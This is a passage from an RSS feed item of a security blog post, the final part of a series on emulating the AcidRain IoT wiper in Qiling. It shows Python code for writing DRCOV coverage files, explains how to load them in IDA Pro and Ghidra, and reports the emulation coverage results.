class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;BB Table: 000000000 bbs&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;writing-the-basic-blocks&quot;&gt;Writing the Basic Blocks&lt;/h3&gt;
&lt;p&gt;So, in fact, it’s the same as with our logging files; Each process needs to append its information, and our Qiling coverage needs to write it to a file and clear the basic blocks for the new process.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# Open coverage file
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;rb+&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LOCK_EX&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEEK_END&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Initalize header in empty file
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Write basic block into file
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bb&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;basic_blocks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEEK_SET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Additionally, the header contains the length of the basic blocks, which needs to be updated by adding the collected basic block length to the value that is already present. To do this, we search for the line that starts with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BB Table: in the coverage file&lt;/code&gt;. After finding it, we get the old length by parsing the value with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;line[10:19]&lt;/code&gt; and the current length with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;len(self.basic_blocks)&lt;/code&gt; and add them together.&lt;/p&gt;

&lt;p&gt;With &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cov.seek(-len(line) + 10, os.SEEK_CUR)&lt;/code&gt; we move the file pointer to the correct position and update the length:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# Read the file to get needed information in header
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readline&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;raise&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Coverage file seems to be corrupted.&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;startswith&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;BB Table:&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Get the BasicBlock header, update length and write basic blocks into the file.
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;new_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;basic_blocks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;filename: &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; Update length from &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; to &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_len&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;seek&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SEEK_CUR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new_len&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;09&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;d&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;flock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cov&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;fileno&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fcntl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LOCK_UN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Admittedly this is quite the hack, but it’s the best you can do in a concurrent scenario such as this.&lt;/p&gt;

&lt;p&gt;Now, the output is that we have a coverage file for each emulation case. Okay, but now what? Where are the numbers?
Hold on a second — first, let’s explain which plugins you can use.&lt;/p&gt;

&lt;h2 id=&quot;results&quot;&gt;Results&lt;/h2&gt;
&lt;p&gt;With the generated coverage file (DRCOV), we can load it into our disassembler of choice. We are working with IDA Pro, but don’t panic—this is also possible in Ghidra. In both cases, we will explain how to load the file into your disassembler, and afterward, we’ll discuss the resulting numbers.&lt;/p&gt;

&lt;h3 id=&quot;ida-pro-with-lighthouse&quot;&gt;IDA Pro with Lighthouse&lt;/h3&gt;
&lt;p&gt;To load the coverage file (DROV), the plugin you need is &lt;a href=&quot;https://github.com/gaasedelen/lighthouse&quot;&gt;Lighthouse&lt;/a&gt;. It is a powerful code coverage explorer for IDA Pro and Binary Ninja. Simply download the files from the repository and place them in your IDA &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\plugins&lt;/code&gt; folder, and you’re good to go.&lt;/p&gt;

&lt;p&gt;In IDA, under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File -&amp;gt; Load File -&amp;gt; Code coverage file ...&lt;/code&gt;, you can load one or more coverage files at once.&lt;/p&gt;

&lt;p&gt;With Lighthouse, you have the ability to see instructions highlighted in both the assembler view, disassembler view, and the Path View. You can also see the number of times each basic block was executed within a function, as well as the percentage of instructions executed.&lt;/p&gt;

&lt;p&gt;Additionally, you can view the average of all coverage files or compare two coverage files with each other.&lt;/p&gt;

&lt;h3 id=&quot;ghidra-with-cartographer&quot;&gt;Ghidra with Cartographer&lt;/h3&gt;

&lt;p&gt;For Ghidra, you can use &lt;a href=&quot;https://github.com/nccgroup/Cartographer&quot;&gt;Cartographer&lt;/a&gt; — the Code Coverage plugin. The installation requires a few steps, as described in the README:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Launch Ghidra.&lt;/li&gt;
  &lt;li&gt;Navigate to the Install Extensions window with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File -&amp;gt; Install Extensions...&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Click the green “+” icon at the top-right corner.&lt;/li&gt;
  &lt;li&gt;Select the downloaded ZIP file to load the plugin into Ghidra.&lt;/li&gt;
  &lt;li&gt;Click the “OK” button to exit the Install Extensions window.&lt;/li&gt;
  &lt;li&gt;Restart Ghidra when prompted.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After installation, you can load the Code Coverage file from the Tools Menu under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Tools -&amp;gt; Code Coverage -&amp;gt; Load Code Coverage File(s) ...&lt;/code&gt;. The functionality is similar to Lighthouse.&lt;/p&gt;

&lt;h2 id=&quot;finally-the-numbers&quot;&gt;Finally the Numbers&lt;/h2&gt;

&lt;p&gt;All the data in this section will be visualized in IDA Pro using the Lighthouse plugin and our custom plugin.&lt;/p&gt;

&lt;h3 id=&quot;results-of-the-entire-sample&quot;&gt;Results of the Entire Sample&lt;/h3&gt;
&lt;p&gt;Despite using different parameters in each emulation, the differences in coverage between the scenarios were minimal. 
For example, whether AcidRain was running with root privileges or not had no significant effect; only the order of execution varied.&lt;/p&gt;

&lt;figure id=&quot;coverage_result_all&quot; class=&quot;figure-posts&quot; style=&quot;width: 30%; float: right;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/coverage_result_all.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/coverage_result_all.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/coverage_result_all.png&quot; alt=&quot;Aggregated coverage result of the entire sample&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/coverage_result_all.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/coverage_result_all.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/coverage_result_all.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 04: Aggregated coverage result of the entire sample&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;The only notable difference in outcomes was observed when varying the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mtd_type&lt;/code&gt; (NANDFLASH), as shown in &lt;a href=&quot;#coverage_result_all&quot;&gt;Figure 04&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A more substantial impact on the results comes from the rootfs, which is obvious. We achieved the best results with the rootfs extracted from the original firmware of the modem where AcidRain runs.&lt;/p&gt;

&lt;p&gt;Using the rootfs provided by Qiling itself, we achieved less than 2% coverage. We observed around 10% less coverage with a nearly empty rootfs, which is expected since AcidRain deletes directories, unlinks files, and so on. With a rootfs that triggers all of AcidRain’s functionality, we were able to achieve an overall coverage of 73.09%.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note: AcidRain is statically linked IoT malware. The library functions can be detected with FLIRT and the appropriate signatures. After applying FLIRT, the results may vary slightly, but not significantly.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;We found a suitable signature file here: &lt;a href=&quot;https://github.com/IridiumXOR/uclibc-sig&quot;&gt;uclibc-sig on GitHub&lt;/a&gt;, which can be loaded into IDA Pro. For Ghidra, we found this project: &lt;a href=&quot;https://github.com/NWMonster/ApplySig&quot;&gt;ApplySig on GitHub&lt;/a&gt;, which allows you to apply the signature file.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So far, the result is promising but not particularly impressive. What about the remaining 37% of AcidRain? To be fair, not every library function was emulated. For instance, loading and starting the C application weren’t fully covered. Additionally, there is a significant amount of error handling that wasn’t obviously executed, as shown in &lt;a href=&quot;#error_reboot&quot;&gt;Figure 05&lt;/a&gt;, particularly in the reboot function.&lt;/p&gt;

&lt;figure id=&quot;error_reboot&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display: block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/error_reboot.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/error_reboot.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/error_reboot.png&quot; alt=&quot;Coverage result of reboot function&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/error_reboot.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/error_reboot.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/error_reboot.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 05: Coverage result of reboot function&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;
&lt;p&gt;Now, let’s take a closer look at the coverage of AcidRain’s core functions.&lt;/p&gt;

&lt;h3 id=&quot;results-of-the-core-function&quot;&gt;Results of the Core Function&lt;/h3&gt;

&lt;p&gt;The core functions of AcidRain are located between the virtual addresses &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00400310&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00401744&lt;/code&gt;. In &lt;a href=&quot;#core_coverage&quot;&gt;Figure 06&lt;/a&gt;, you can see that nearly every function prefixed with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;acidRain_&lt;/code&gt; was covered across the four emulation cases.&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 80%; display: block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/core_coverage.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/core_coverage.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/core_coverage.png&quot; alt=&quot;overage result of AcidRain&apos;s core function in Lighthouse&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/core_coverage.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/core_coverage.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/core_coverage.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 06: Coverage result of AcidRain&apos;s core function in Lighthouse&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Using our results file and the plugin, we can print out how extensively the entire AcidRain malware was emulated, as well as just the core. The following result was obtained:&lt;/p&gt;

&lt;figure class=&quot;figure-posts&quot; style=&quot;width: 80%; display: block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2024/10/result_from_logging.png&quot;&gt; 
    &lt;a href=&quot;#img/images/posts/2024/10/result_from_logging.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2024/10/result_from_logging.png&quot; alt=&quot;Coverage of AcidRain&apos;s core and the full sample&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2024/10/result_from_logging.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2024/10/result_from_logging.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2024/10/result_from_logging.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 07: Coverage of AcidRain&apos;s core and the full sample&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;It’s quite impressive that the AcidRain core was emulated to 96.95% across all four emulation cases. With library functions included, AcidRain was emulated to 73.09%, which is identical to the coverage result from before. The difference between the coverage of the core and the full sample is quite normal because not all library functions were executed or triggered during the emulation.&lt;/p&gt;

&lt;p&gt;And that’s it. We hope you enjoyed the blog series about IoT malware emulation and creating a safe dynamic analysis environment. We hope you found it informative and had fun trying it out. Thanks for reading, and stay tuned for more exciting blogs!&lt;/p&gt;
</description>
        <pubDate>Mon, 14 Oct 2024 16:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2024/10/14/destructive-iot-malware-emulation-part-3-of-3-statistics/</link>
        <guid isPermaLink="true">https://cyber.wtf/2024/10/14/destructive-iot-malware-emulation-part-3-of-3-statistics/</guid>
        
        <category>destructive</category>
        
        <category>iot</category>
        
        <category>malware</category>
        
        <category>qiling</category>
        
        <category>wiper</category>
        
        
        <category>blog</category>
        
      </item>
    
  </channel>
</rss>
